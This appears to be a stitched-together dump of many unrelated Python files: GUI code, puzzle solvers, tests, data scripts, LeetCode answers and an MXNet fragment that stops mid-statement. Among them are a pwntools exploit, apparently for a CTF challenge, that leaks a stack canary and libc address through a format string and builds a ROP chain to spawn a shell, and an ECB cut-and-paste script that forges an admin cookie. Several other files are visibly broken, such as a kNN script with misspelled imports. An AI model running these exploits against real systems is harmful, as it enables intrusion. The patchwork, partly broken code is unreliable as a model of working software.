# -*- coding: utf-8 -*-
"""
Created on Tue Jun 28 11:57:58 2022

@author: apmel
"""

from tkinter import *

class MyApp():
    def __init__(self):
        self.root = Tk()
        self.frame = Frame(self.root, bg='green', relief=SUNKEN) #

        #self.frame['padding'] = (5, 10)  # padding
        #self.frame['borderwidth'] = 10  # border
        #self.frame['relief'] = 'sunken'  # style: panel or gropubox

        #row=0
        self.label_title = Label(self.frame, text='ICET Student Survey', bg='green', width=30, height=1, font='Arial 16')
        self.label_title.grid(row=0, column=0, sticky="NESW")

        #row=1
        self.label_name = Label(self.frame, text='Full name: ', bg='green', width=60, height=1)
        self.label_name.grid(row=1, column=0, sticky=E, padx=25)

        self.name = StringVar()
        self.entry_name = Entry(self.frame, textvariable=self.name, width=30)
        self.entry_name.grid(row=1, column=1, sticky=(W, E), pady=15)

        #row=2
        self.residency = StringVar()
        self.label_residency = Label(self.frame, text='Residency: ', bg='green', width=60, height=1)
        self.label_residency.grid(row=2, column=0, pady=5, sticky=(W, E))

        #self.panel = ttk.Frame(frame)  # this will be the container for the widget below
        #self.frame = Frame()
        self.panel = Frame(self.frame , bg='green')
        self.panel.grid(row=1, column=1, sticky=(W, E))
        self.panel.grid(column=1, row=2, sticky=(W, E))
        self.panel['borderwidth'] = 3
        #self.panel['relief'] = 'ridge'

        self.residency = StringVar()

        self.radio_dom = Radiobutton(self.panel, text='Domestic', variable=self.residency, value='dom', bg='green')
        self.radio_dom.grid(column=0, row=0, sticky=(W))  # grid coordinate is for its immediate parent
        self.radio_intl = Radiobutton(self.panel, text='International', variable=self.residency, value='intl', bg='green')
        self.radio_intl.grid(column=0, row=1, sticky=(W))

        # # row 2
        # #ttk.Label(frame, text='Residency:').grid(column=0, row=2, sticky=(W, E))

        # panel = ttk.Frame(frame)  # this will be the container for the widget below
        # panel.grid(column=1, row=2, sticky=(W, E))
        # panel['borderwidth'] = 3
        # panel['relief'] = 'ridge'

        # #residency = StringVar()

        # ttk.Radiobutton(panel, text='Domestic', variable=residency, value='dom').grid(column=0, row=0, sticky=(W))  # grid coordinate is for its immediate parent
        # ttk.Radiobutton(panel, text='International', variable=residency, value='intl').grid(column=0, row=1, sticky=(W))

        self.frame.grid()

        self.root.mainloop()

start = MyApp()

#################### delete below
       # username = StringVar()  # variable that will be used to communicate

        #Creating an entry
        #name = ttk.Entry(frame, textvariable=username).grid(column=1, row=1, sticky=(W))


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.binary = "./story"
context.log_level = "debug"

# io = process("./story", env = {"LD_PRELOAD": "./libc6_2.23-0ubuntu10_amd64.so"})
io = remote("ctf2.linkedbyx.com", 10625)
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so", checksec = False)

io.sendlineafter("ID:", "..%15$p..%12$p..")
io.recvuntil("..")
canary = int(io.recvuntil("..", drop = True), 16)
success("canary -> {:#x}".format(canary))
stdout = int(io.recvuntil("..", drop = True), 16)
success("stdout -> {:#x}".format(stdout))
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
success("libc -> {:#x}".format(libc.address))

raw_input("DEBUG: ")
io.sendlineafter("story:\n", "200")

# io.sendlineafter("story:\n", cyclic(n = 8, length = 500))
payload = 'a' * 136 + 2 * p64(canary) + flat(libc.address + 0x0000000000021102, next(libc.search("/bin/sh")), libc.sym['system'])
io.sendlineafter("story:\n", payload)

io.interactive()


import file
instructions = file.read('inputs/day09.txt').split(',')

def getParams(opcode, intcode, pointer, modes, rel_base):
    ref = 0

    mode_a = modes.pop() if len(modes) > 0 else 0
    mode_b = modes.pop() if len(modes) > 0 else 0
    mode_c = modes.pop() if len(modes) > 0 else 0

    param_a = intcode[pointer + 1]
    param_b = intcode[pointer + 2]
    param_c = intcode[pointer + 3]

    if mode_a == 1:
        ref = pointer + 1
        a = intcode[ref]
    elif mode_a == 2:
        a = intcode[rel_base + param_a] if opcode != 3 else rel_base + param_a
    else:
        ref = param_a if opcode != 3 else pointer + 1
        a = intcode[ref]

    if mode_b == 1:
        ref = pointer + 2
    elif mode_b == 2:
        ref = rel_base + param_b
    else:
        ref = param_b
    b = intcode[ref]

    c = param_c if mode_c == 0 else rel_base + param_c

    return (a, b, c)

def runTest(intcode, input):
    pointer = 0
    output = []
    relative_base = 0

    while intcode[pointer] != 99:
        instruction = str(intcode[pointer])
        opcode, modes = int(
            instruction[-2:]), list(map(int, instruction[:-2]))

        a, b, c = getParams(opcode, intcode, pointer, modes, relative_base)

        if opcode == 1:
            intcode[c] = a + b
        elif opcode == 2:
            intcode[c] = a * b
        elif opcode == 3:
            intcode[a] = input
        elif opcode == 4:
            print(a)
            output.append(a)
        elif opcode == 5:
            if a != 0:
                pointer = b
                continue
        elif opcode == 6:
            if a == 0:
                pointer = b
                continue
        elif opcode == 7:
            intcode[c] = 1 if a < b else 0
        elif opcode == 8:
            intcode[c] = 1 if a == b else 0
        elif opcode == 9:
            relative_base = relative_base + a
        else:
            print('Unknown opcode: {}'.format(opcode))
            return [999]

        if opcode == 3 or opcode == 4 or opcode == 9:
            pointer += 2
        elif opcode == 5 or opcode == 6:
            pointer += 3
        else:
            pointer += 4

    return output[-1]

intcode = [int(num) for num in instructions]
extra = [0 for n in range(0, 50000)]
intcode.extend(extra)
print('Part One: {}'.format(runTest(intcode, 1)))

intcode = [int(num) for num in instructions]
extra = [0 for n in range(0, 50000)]
intcode.extend(extra)
print('Part Two: {}'.format(runTest(intcode, 2)))


import markdown

from verto.VertoExtension import VertoExtension
from verto.processors.ScratchTreeprocessor import ScratchImageMetaData
from verto.tests.ProcessorTest import ProcessorTest

class ScratchTest(ProcessorTest):
    '''Scratch blocks are unique in that they override behaviour in
    markdown and behaviour in markdown extensions, while also retaining
    compatiability.
    '''
    def __init__(self, *args, **kwargs):
        '''Sets name for loading test assets.
        '''
        ProcessorTest.__init__(self, *args, **kwargs)
        self.processor_name = 'scratch'

    def setUp(self):
        '''Overrides the generic setup to load the fenced_code
        extension by default (as this is the desired usecase).
        '''
        self.verto_extension = VertoExtension([self.processor_name], {}, ['markdown.extensions.fenced_code'])

    # ~
    # Doc Tests
    # ~

    def test_doc_example_basic(self):
        '''An example of common useage.
        '''
        test_string = self.read_test_file(self.processor_name, 'doc_example_basic_usage.md')

        converted_test_string = markdown.markdown(test_string, extensions=['markdown.extensions.fenced_code', self.verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'doc_example_basic_usage_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    def test_doc_example_override_html(self):
        '''An example showing how to override the html-template.
        '''
        test_string = self.read_test_file(self.processor_name, 'doc_example_override_html.md')

        html_template = self.read_test_file(self.processor_name, 'doc_example_override_html_template.html', strip=True)
        verto_extension = VertoExtension([self.processor_name], html_templates={self.processor_name: html_template}, extensions=['markdown.extensions.fenced_code'])

        converted_test_string = markdown.markdown(test_string, extensions=['markdown.extensions.fenced_code', verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'doc_example_override_html_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    #~
    # Other Tests
    #~
    def test_example_standard_markdown_block(self):
        '''Tests that even without extensions it behaves as expected.
        '''
        verto_extension = VertoExtension([self.processor_name], {}, [])
        test_string = self.read_test_file(self.processor_name, 'example_standard_markdown_block.md')

        converted_test_string = markdown.markdown(test_string, extensions=[verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'example_standard_markdown_block_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    def test_example_separate_blocks(self):
        '''Tests that code separated by whitespace is still processed.
        '''
        test_string = self.read_test_file(self.processor_name, 'example_separate_blocks.md')

        converted_test_string = markdown.markdown(test_string, extensions=['markdown.extensions.fenced_code', self.verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'example_separate_blocks_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    def test_example_multiple_codeblocks(self):
        '''Tests that multiple codeblocks are processed independently.
        '''
        test_string = self.read_test_file(self.processor_name, 'example_multiple_codeblocks.md')

        converted_test_string = markdown.markdown(test_string, extensions=['markdown.extensions.fenced_code', self.verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'example_multiple_codeblocks_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    def test_example_multiple_codeblocks_2(self):
        '''Tests that enabling the codehilite extension does not effect
        the functionality. (Loads the compatiability processor).
        '''
        extensions = ['markdown.extensions.codehilite', 'markdown.extensions.fenced_code']
        verto_extension = VertoExtension([self.processor_name], {}, extensions)
        test_string = self.read_test_file(self.processor_name, 'example_multiple_codeblocks_2.md')

        converted_test_string = markdown.markdown(test_string, extensions=extensions + [verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'example_multiple_codeblocks_expected_2.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)

    def test_example_other_code(self):
        '''Tests that other codeblocks that are not scratch codeblocks
        are not erroneously matched.
        '''
        test_string = self.read_test_file(self.processor_name, 'example_other_code.md')

        converted_test_string = markdown.markdown(test_string, extensions=['markdown.extensions.fenced_code', self.verto_extension])
        expected_string = self.read_test_file(self.processor_name, 'example_other_code_expected.html', strip=True)
        self.assertEqual(expected_string, converted_test_string)


import fl
import time
import binascii

key = 0x12345678

def bitlist2num(lst):
    out = 0
    for bit in lst:
        out = (out << 1) | bit
    return out

def concat(num,times):
    out = num
    for i in range(times-1):
        out = out << 4 | out
    return out

def encrypt(p):
    n1 = str(bin(key)).count('1')
    t = [0]*4
    for i in range(8):
        t[3] = t[3] ^ ( (key & (1 << ( 4*i ))) >> ( 4*i ) )
        t[2] = t[2] ^ ( (key & (1 << (4*i+1))) >> (4*i+1) )
        t[1] = t[1] ^ ( (key & (1 << (4*i+2))) >> (4*i+2) )
        t[0] = t[0] ^ ( (key & (1 << (4*i+3))) >> (4*i+3) )
    t = bitlist2num(t)
    c = p
    for i in range(n1) :
        c = c ^ concat(t,8)
        t = t+1
        if t == 16 :
            t = t-16
    return c

def decrypt(c):
    n0 = 32 - str(bin(key)).count('1')
    t = [0]*4
    for i in range(8):
        t[3] = t[3] ^ ( (key & (1 << ( 4*i ))) >> ( 4*i ) )
        t[2] = t[2] ^ ( (key & (1 << (4*i+1))) >> (4*i+1) )
        t[1] = t[1] ^ ( (key & (1 << (4*i+2))) >> (4*i+2) )
        t[0] = t[0] ^ ( (key & (1 << (4*i+3))) >> (4*i+3) )
    t = bitlist2num(t) - 1
    if t < 0:
        t = 15
    p = c
    for i in range(n0) :
        p = p ^ concat(t,8)
        t = t-1
        if t < 0:
            t = 15
    return p

def read_bytes_and_decrypt(handle,channel,to):

    byte_buffer = [None]*4
    byte_count = 0
    current_time = time.time()
    time_out = False
    not_zero_det = False

    while not not_zero_det:
        if time.time() - current_time > to :
            time_out = True
            break
        else :
            num = fl.flReadChannel(handle,channel,1)
            fl.flSleep(50)
            if not num == 0 :
                byte_buffer[byte_count] = num
                byte_count += 1
                while byte_count < 4:
                    num = fl.flReadChannel(handle,channel,1)
                    byte_buffer[byte_count] = num
                    fl.flSleep(50)
                    byte_count+=1
                not_zero_det = True

    if not time_out :
        byte_buffer.reverse()
        c = 0
        for read_byte in byte_buffer:
            c = c << 8 | read_byte
        p = decrypt(c)
        return p
    else :
        return False

def encrypt_and_write_bytes(handle,channel,numBytes,data):
    send = []
    p = encrypt(data)
    for i in range(numBytes) :
        eight_bits = p & 0xff
        send.append(eight_bits)
        p = p >> 8

    for num in send:
        fl.flWriteChannel(handle,channel,num)
        fl.flSleep(50)


#!/usr/bin/env python

# This displays in a JSON variable, the list of RDF URLs exposed by the SLP protocol.
# Because these queries are slow, there is a caching mechanism which can be controlled
# with a CGI parameter.

import os
import re
import cgi
import time
import glob
import math
import lib_common

# Writes to the file descriptor, the JSON variable.
def MakeCacheSlp(filDes):
	service_filter = "http.rdf"

	filDes.write( "Content-type: text/javascript\n\n" )

	# This variable name is used in the Javascript function FillSlpUrlsTable.
	# And also by some Javascript code in merge_rdf_inputs_graphviz_only.htm
	filDes.write( "var slps = [" )

	# Only the services we want. They are published by the slpd process of machines on the LAN.
	stream = os.popen("slptool findsrvs service:" + service_filter)
	# service:ftp.smallbox://192.168.100.1:21,65535
	lbl = 0
	for line in stream:
		# print "Li=" + line
		matchObj = re.match( r'service:([^:]*):/?/?([^,]*),?(.*)', line, re.M|re.I)
		if matchObj:
			filDes.write(	'[' \
				+ '"' + matchObj.group(1) + '",' \
				+ '"http://' + matchObj.group(2) + '",' \
				+ '"' + matchObj.group(3) + '",' \
				+ '"label_' + str(lbl)  + '"' \
				+ '],' )
			lbl = lbl + 1

	# print( '["a","b","c","d"]' )
	filDes.write( "];" )

# This generates a form containing the SLP urls in a variable.
# It manages a cache, because SLP queries are slow.

arguments = cgi.FieldStorage()

# Validity in seconds.
# HARDCODE_LIMIT
try:
	cache_validity = arguments["validity"].value
except KeyError:
	# Default, valid during one hour.
	cache_validity = 3600

nowSeconds = int( time.time() )

cache_directory = lib_common.TmpDir() + "/"

cache_prefix = "cache_slp."

glob_prefix = cache_directory + cache_prefix
possible_caches = glob.glob( glob_prefix + "*" )

best_cache = ''
best_stamp = 0

for fil in possible_caches:
	# print("fil=" + fil )
	# Reads the time-stamp at the end of the cache filename.
	timstamp_str = fil[ len(glob_prefix) : ]
	timstamp_int = int( timstamp_str )
	if timstamp_int > best_stamp:
		# Maybe removes the old cache.
		if best_stamp != 0 :
			os.remove(best_cache)
		best_stamp = timstamp_int
		best_cache = fil

if best_stamp < nowSeconds - cache_validity:
	# If a cache file was found, but is invalid, removes it.
	if best_stamp != 0 :
		os.remove(best_cache)
	best_cache = glob_prefix + str(nowSeconds)
	filDes = open(best_cache,'w')
	MakeCacheSlp(filDes)
	filDes.close()

# TODO: If the file is empty, maybe the validity could be shorter?

filDes = open(best_cache, 'r')
print( filDes.read() )

# The file descriptor might be stdout
# in case we cannot write to a temporary file.

# TODO
# We assume that some or all of these URLs are in fact bookmarks pages which contain
# the URLs that we want. The advantage is that when we create a dynamic CGI
# with a specific set of CGI parameters, it is not necessary to register it with
# SLP or any other exposing mechanism.
#
# What must be done is:
#	- Expose bookmarks.
#	- Have a way to distinguish  normal URL from bookmarks.
#	- To make things cleaner: Maybe return categories of links.
#	This is necessary to show that an URL can be destroyed.
#
#
# Also: Create a cache so there is no need to make a SLP query at each call.
#
# Convention: the service "http.bookmark" indicates a bookmark of RDF cgis.


# -*- coding: utf-8 -*-
"""
Created on Wed May  6 13:47:27 2015

@author: tim
"""

import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web

import sqlite3

from tornado.options import define,options
define("port",default=8000,help="run on the given port",type=int)

class Application(tornado.web.Application):
    def __init__(self):
        handlers = [(r"/(\w+)",WorkHandler)]
        tornado.web.Application.__init__(self,handlers,debug=True)

class WorkHandler(tornado.web.RequestHandler):
    def get(self,word):
        conn = sqlite3.connect('book.db')
        curs = conn.cursor()
        curs.execute('select * from book where _rowid_ =?',word)
        word_doc=curs.fetchone()
        if word_doc:
            self.write(word_doc[0]+'\n')
        else:
            self.set_status(404)
            self.write({"error":"Word not found"})
    def post(self,word):
        definition = self.get_argument('name')
        conn = sqlite3.connect('book.db')
        curs = conn.cursor()
        curs.execute('select * from book where _rowid_ =?',word)
        word_doc=curs.fetchone()
        if word_doc:
            curs.execute('update book set name = ?',word_doc[0])
        else:
            curs.insert('insert into book values(?,?)',[(definition,10000)])
        curs.commit()
        self.write(word_doc)

if __name__ == "__main__":
    tornado.options.parse_command_line()
    http_server = tornado.httpserver.HTTPServer(Application())
    http_server.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()


import math
import os
from nltk.curpus import stopword
from textblob import TextBlob
from textblob import Word

def knn(path):
    trainSet = {}
    testSet = {}
    trainVocabulary = []
    testVocabulary = []
    files = os.listdir(path)
    for file in files:
        documents = os.listdir(path + "/" + file)
        trainSetLength = int(0.8 * len(document))
        testSetLength = int(0.2 * len(document))
        for i in range(trainSetLength):
            trainVocabulary = []
            documentContent = path + "/" + file + "/" + documents[i + trainSetLength]
            with open(documentContent,'r',errors='ignort') as f:
                data=f.readlines()
                for i in data:
                    temp = i.split(":")[1]
                    trainVocabulary.append(float(temp))
        for j in range(testSetLength):
            trainVocabulary = []
            documentContent = path + "/" + file + "/" + documents[i + testSetLength]
            with open(documentContent,'r',errors='ignort') as f:
                data=f.readlines()
                for j in data:
                    temp = j.split(":")[1]
                    testVocabulary.append(float(temp))
    for k in range(trainSetLength):
        molecular += trainSet[k] * testSet[k]
        denominator += trainSet[k]*trainSet[k] + testSet[k]*testSet[k]
    if denominator > 0:
        return molecular /(pow(denominator, 0.5))

if __name__ == '__main__':
    path = 'C:/Users/wk/Desktop/20news-18828'
    knn(path)


from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from server_genCookie import encode_profile, profile_for

# Configuration data
HOST = '127.0.0.1'
PORT_GEN = 12345
PORT_TEST = 12445

if __name__ == '__main__':

    # Opening connection to the server that generates a cookie
    conn_gen = remote(HOST, PORT_GEN)
    email = b'aaaaaaa@b.com'

    # Sending data
    conn_gen.send(email)
    cookie = conn_gen.recv()
    print("Encrypted cookie is: " + cookie.hex())

    # Computing cookie info
    # length of email is 13 bytes in order to align the start of the "admin" exactly at third block
    cookie_info = encode_profile(profile_for(email.decode()))
    print(cookie_info[0:AES.block_size])
    print(cookie_info[AES.block_size:2*AES.block_size])

    # Computing cookie info
    # this time we try to align the "admin" word to the second block
    padded_message = b'A'*10 + pad(b'admin', AES.block_size)
    cookie_info = encode_profile(profile_for(padded_message.decode()))
    print(cookie_info[0:AES.block_size])
    print(cookie_info[AES.block_size:2*AES.block_size])

    conn_gen.close()

    # Opening again connection to the server that generates a cookie
    conn_gen = remote(HOST, PORT_GEN)

    # Sending data
    conn_gen.send(padded_message)
    cookie_2 = conn_gen.recv()
    print()
    print()
    print(cookie_2)
    conn_gen.close()

    # Crafting authentication cookie and check on server
    auth_cookie = cookie[0:32] + cookie_2[16:32]
    conn_test = remote(HOST, PORT_TEST)
    conn_test.send(auth_cookie)
    response = conn_test.recv()

    print(response.decode())

Cryptography/Python/02 - Attacks on ECB/Copy and Paste Attack (CPA)/attacker.py


def nested_formula_parser(formula, check=True):
    r'''Improved formula parser which handles braces and their multipliers,
    as well as rational element counts.

    Strips charges from the end of a formula first. Accepts repeated chemical
    units. Performs no sanity checking that elements are actually elements.
    As it uses regular expressions for matching, errors are mostly just ignored.

    Parameters
    ----------
    formula : str
        Formula string, very simply formats only.
    check : bool
        If `check` is True, a simple check will be performed to determine if
        a formula is not a formula and an exception will be raised if it is
        not, [-]

    Returns
    -------
    atoms : dict
        dictionary of counts of individual atoms, indexed by symbol with
        proper capitalization, [-]

    Notes
    -----
    Inspired by the approach taken by CrazyMerlyn on a reddit DailyProgrammer
    challenge, at https://www.reddit.com/r/dailyprogrammer/comments/6eerfk/20170531_challenge_317_intermediate_counting/

    Examples
    --------
    >>> pprint(nested_formula_parser('Pd(NH3)4.0001+2'))
    {'H': 12.0003, 'N': 4.0001, 'Pd': 1}
    '''
    formula = formula.replace('[', '').replace(']', '')
    charge_splits = bracketed_charge_re.split(formula)
    if len(charge_splits) > 1:
        formula = charge_splits[0]
    else:
        formula = formula.split('+')[0].split('-')[0]

    stack = [[]]
    last = stack[0]
    tokens = formula_token_matcher_rational.findall(formula)
    # The set of letters in the tokens should match the set of letters
    if check:
        token_letters = set([j for i in tokens for j in i if j in letter_set])
        formula_letters = set(i for i in formula if i in letter_set)
        if formula_letters != token_letters:
            raise Exception('Input may not be a formula; extra letters were detected')

    for token in tokens:
        if token == "(":
            stack.append([])
            last = stack[-1]
        elif token == ")":
            temp_dict = {}
            for d in last:
                for ele, count in d.items():
                    if ele in temp_dict:
                        temp_dict[ele] = temp_dict[ele] + count
                    else:
                        temp_dict[ele] = count
            stack.pop()
            last = stack[-1]
            last.append(temp_dict)
        elif token.isalpha():
            last.append({token: 1})
        else:
            v = float(token)
            v_int = int(v)
            if v_int == v:
                v = v_int
            last[-1] = {ele: count*v for ele, count in last[-1].items()}
    ans = {}
    for d in last:
        for ele, count in d.items():
            if ele in ans:
                ans[ele] = ans[ele] + count
            else:
                ans[ele] = count
    return ans


import pandas as pd

def _list_files(currentpath):
    from os import listdir
    from os.path import isfile, join
    files = [join(currentpath, f) for f in listdir(currentpath) if isfile(join(currentpath, f))]
    return files

def _merge_files(listoffiles,columnname='Maxprec'):
    data=[]
    for i in listoffiles:
        data.append(pd.read_csv(i))
    alldata=pd.concat(data)
    countydf=pd.read_csv('countystate.csv',sep='\t')
    mergedf=alldata.merge(countydf,how='left',left_on=['NAME','STATEFP'],right_on=['County','State_FIPS'])
    mergedf.rename(columns={'mean':columnname},inplace=True)
    mergedf.dropna(axis=0,how='any',inplace=True)
    mergedf.to_csv(columnname+'.csv',columns=['Year','State','County','Latitude','Longitude']+[columnname],index=False)

def process_folder(currentpath,columnname):
    files=_list_files(currentpath)
    _merge_files(files,columnname)

process_folder('ee_prec_max','Maxprec')
process_folder('ee_prec_mean','Meanprec')
process_folder('ee_temp_max','Maxtemp')
process_folder('ee_temp_min','Mintemp')


from models_SQL import is_auntificated
from model_csv import create_csv, read_csv
import os

print(f'Добро пожаловать в базу данных сотрудников. \nАвторизуйтесь в системе для дальнейшей работы')

if is_auntificated():
    os.system('cls' if os.name == 'nt' else 'clear')
    while True:
        print('------МЕНЮ------\n1. Создать сотрудника \n2. Показать сотрудников\n3. Выход\n')
        chose = int(input('Введите номер меню: '))
        if chose == 1:
            create_csv()
        elif chose == 2:
            read_csv()
        elif chose == 3:
            break


from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
dc = DesiredCapabilities.CHROME
dc['goog:loggingPrefs'] = {'browser': 'ALL'}
driver = webdriver.Chrome(executable_path="/Users/jiniab/Downloads/chromedriver-3", desired_capabilities=dc)
driver.get("https://www.google.com")
for e in driver.get_log('browser'):
    print(str(e))
driver.quit()


import heapq
from typing import List

class Solution1_DP:
    def findMaximizedCapital(self, k: int, w: int, profits: List[int], capital: List[int]) -> int:
        mask = 0
        self.profits = profits
        self.capital = capital
        self.max_tasks = 2**len(self.profits)
        return self.solve(0, k, w) + w

    def set_bit(self, mask, bit):
        mask |= 1 << bit
        return mask

    def solve(self, mask, k, w):
        if k == 0 or mask == self.max_tasks - 1:
            return 0

        max_profit = 0

        for i in range(len(self.profits)):
            taken = (mask & (1 << i))>>i == 1
            if self.capital[i] <= w and not taken:
                f = True
                bbit = self.set_bit(mask, i)
                # print(mask, bbit)
                tmp = self.solve(bbit, k - 1, w + self.profits[i]) + self.profits[i]

                if tmp > max_profit:
                    max_profit = tmp

        return max_profit

class Solution_without_heap:
    def findMaximizedCapital(self, k: int, w: int, profits: List[int], capital: List[int]) -> int:
        visited = 0
        self.profits = profits
        self.capital = capital

        # greedy solution
        # 1. find the maximum profit for available projects (a. not taken b. capital <= current_capital
        # 2. Do that project: a. add the profit to w  b. mark it as visited

        for i in range(k):
            max_prof = -1
            max_i = -1

            for project_i in range(len(self.capital)):
                # check if project is available
                if self.get_bit(visited, project_i) == 0 and self.capital[project_i] <= w:
                    if max_prof < self.profits[project_i]:
                        max_prof = self.profits[project_i]
                        max_i = project_i

            if max_prof == -1:
                return w

            w += self.profits[max_i]
            visited = self.set_bit(visited, max_i)

        return w

    def set_bit(self, mask, bit):
        mask |= 1 << bit
        return mask

    def get_bit(self, mask, bit):
        return (mask & (1 << bit)) >> bit

class Solution:
    def findMaximizedCapital(self, k: int, w: int, profits: List[int], capital: List[int]) -> int:
        visited = 0
        self.profits = profits
        self.capital = capital
        cap_profit_heap = list(zip(self.capital, self.profits))
        heapq.heapify(cap_profit_heap)

        # greedy solution + Heap for maximum available profit
        # 1. find the "maximum profit" for available projects (a. not taken b. capital <= current_capital
        # 2. Do that project: a. add the profit to w  b. mark it as visited

        available_projects_profits = []

        for i in range(k):
            for project_i in range(len(cap_profit_heap)):
                cap, profit = cap_profit_heap[0]

                if cap <= w:
                    heapq.heappush(available_projects_profits, profit * -1)
                    heapq.heappop(cap_profit_heap)
                else:
                    break

            if len(available_projects_profits) == 0:
                return w

            w += heapq.heappop(available_projects_profits) * -1

        return w

if __name__ == '__main__':
    m = Solution().findMaximizedCapital(1, 2, [1,2,3], [1,1,2])
    print(m)
    # m = Solution().findMaximizedCapital(2, 0, [1,2,3], [0,1,1])
    # print(m)


class Solution:
    def checkInclusion(self, s1: str, s2: str) -> bool:
        m,n=len(s1),len(s2)
        if n==0 or m==0 or m>n:
            return False
        cs=[0]*26
        ct=[0]*26
        for i in range(m):
            ct[ord(s1[i])-97]+=1
            cs[ord(s2[i])-97]+=1
        print(cs,ct)
        def com(a,b):
            for i in range(len(a)):
                if(a[i]!=b[i]):
                    return False
            return True
        ans=[]
        for i in range(m,n):
           # print(cs,ct)
            if com(cs,ct):
                return True
            cs[ord(s2[i])-97]+=1
            cs[ord(s2[i-m])-97]-=1
        if com(cs,ct):
            return True
        return False


from .type_processors import JunkTypeProcessor
from decimal import Decimal

class JunkBaseMagnitudeTypeProcessor(JunkTypeProcessor):
	CLASS = Decimal
	KEYWORD = None
	DEFAULT_UNIT = None
	UNITS = {}

	def load(self, value, **kwargs):
		input = kwargs.get("input")
		output = kwargs.get("output")
		input_ratio = self.UNITS.get((input if(input is not None) else self.DEFAULT_UNIT).lower(), self.UNITS[self.DEFAULT_UNIT])
		output_ratio = self.UNITS.get((output if(output is not None) else self.DEFAULT_UNIT).lower(), self.UNITS[self.DEFAULT_UNIT])

		return self.CLASS(value) * input_ratio / output_ratio

class JunkMassTypeProcessor(JunkBaseMagnitudeTypeProcessor):
	KEYWORD = "mass"
	DEFAULT_UNIT = "g"
	UNITS = {
		# Metric
		"ug": Decimal("0.000001"), # Microgram
		"µg": Decimal("0.000001"), # Microgram
		"mg": Decimal("0.001"), # Miligram
		"g": Decimal(1), # Gram
		"kg": Decimal(1000), # Kilogram
		"t": Decimal(1000000), # Ton

		# Imperial
		"oz": Decimal("28.349523125"), # Ounce
		"lb": Decimal("453.59237"), # Pound
		"st": Decimal("6350.29318"), # Stone
		"qr": Decimal("11339.80925"), # Quarter
	}

class JunkDistanceTypeProcessor(JunkBaseMagnitudeTypeProcessor):
	KEYWORD = "distance"
	DEFAULT_UNIT = "m"
	UNITS = {
		# Metric
		"pm": Decimal("0.000000000001"), # Picometer
		"nm": Decimal("0.000000001"), # Nanometer
		"um": Decimal("0.000001"), # Micrometer
		"µm": Decimal("0.000001"), # Micremeter
		"mm": Decimal("0.001"), # Millimeter
		"cm": Decimal("0.01"), # Centimeter
		"m": Decimal(1), # Meter
		"dam": Decimal(10), # Decameter
		"hm": Decimal(100), # Hectometer
		"km": Decimal(1000), # Kilometer

		# Imperial
		"mil": Decimal("0.0000254"), # Mil
		"in": Decimal("0.0254"), # Inch
		"ft": Decimal("0.3048"), # Foot
		"yd": Decimal("0.9144"), # Yard
		"mi": Decimal("1609.344"), # Mile
	}

class JunkVolumeTypeProcessor(JunkBaseMagnitudeTypeProcessor):
	KEYWORD = "volume"
	DEFAULT_UNIT = "l"
	UNITS = {
		# Metric
		"ml": Decimal("0.001"), # Milliliter
		"cl": Decimal("0.01"), # Centiliter
		"dl": Decimal("0.1"), # Deciliter
		"l": Decimal(1), # Liter
		"kl": Decimal(1000), # Kiloliter

		# Imperial
		"floz": Decimal("0.0295735296875"), # Fluid Ounce
		"pt": Decimal("0.473176473"), # Pint
		"qt": Decimal("0.946352946"), # Quart
		"gal": Decimal("3.785411784"), # Gallon
	}

class JunkSpeedTypeProcessor(JunkBaseMagnitudeTypeProcessor):
	KEYWORD = "speed"
	DEFAULT_UNIT = "m/s"
	UNITS = {
		# Metric
		"m/s": Decimal(1), # Meters per second
		"km/h": Decimal("0.2777777777777777777777777778"), # Kilometers per hour

		# Imperial
		"ft/s": Decimal("0.3048"), # Feet per second
		"mph": Decimal("0.447040972"), # Miles per hour
	}


import os as _os
import ctypes
import numpy as _np  # pylint: disable=unused-import

from .ndarray import get_dtype_name
from ._internal import NDArrayBase, _imperative_invoke # pylint: disable=unused-import
from ..ndarray_doc import _build_doc

from ..base import mx_uint, check_call, _LIB, py_str, _init_op_module, _Null, _is_np_op, _output_is_list  # pylint: disable=unused-import
from ..util import use_np_shape  # pylint: disable=unused-import

def _verify_all_np_ndarrays(op_name, func_name, args, out):
    """Verify if all the arrays are numpy ndarrays.

    Parameters
    ----------
    op_name : str
        Operator full name registered in backend.
    func_name : str
        Operator name exposed to users. This is usually the name by stripping off
        the prefix of the full operator names registered in backend.
    args : list of arrays
        Input ndarray arguments to be checked.
    out : ndarray or None or list of ndarrays
        User-provided output ndarrays.
    """
    from ..numpy import ndarray as np_ndarray
    for arr in args:
        if (arr is not None) and (not isinstance(arr, np_ndarray)):
            raise TypeError('Operator `{}` registered in backend is known as `{}` in Python. '
                            'This is a numpy operator which can only accept '
                            'MXNet numpy ndarrays, while received a legacy ndarray. '
                            'Please ensure that you have activated numpy semantics by calling '
                            '`npx.set_np()` in your code. If you still see this error with numpy '
                            'semantics activated, please call `as_np_ndarray()` upon the legacy '
                            'ndarray to convert it to an MXNet numpy ndarray, and then feed the '
                            'converted array to this operator.'
                            .format(op_name, func_name))
    if out is None:
        return
    if not isinstance(out, (list, tuple)):
        out = [out]
    for arr in out:
        if (arr is not None) and (not isinstance(arr, np_ndarray)):
            raise TypeError('Operator `{}` registered in backend is known as `{}` in Python. '
                            'This is a numpy operator which can only accept '
                            'MXNet numpy ndarrays, while received a legacy ndarray. '
                            'Please ensure that you have activated numpy semantics by calling '
                            '`npx.set_np()` in your code. If you still see this error with numpy '
                            'semantics activated, please call `as_np_ndarray()` upon the legacy '
                            'ndarray to convert it to an MXNet numpy ndarray, and then feed the '
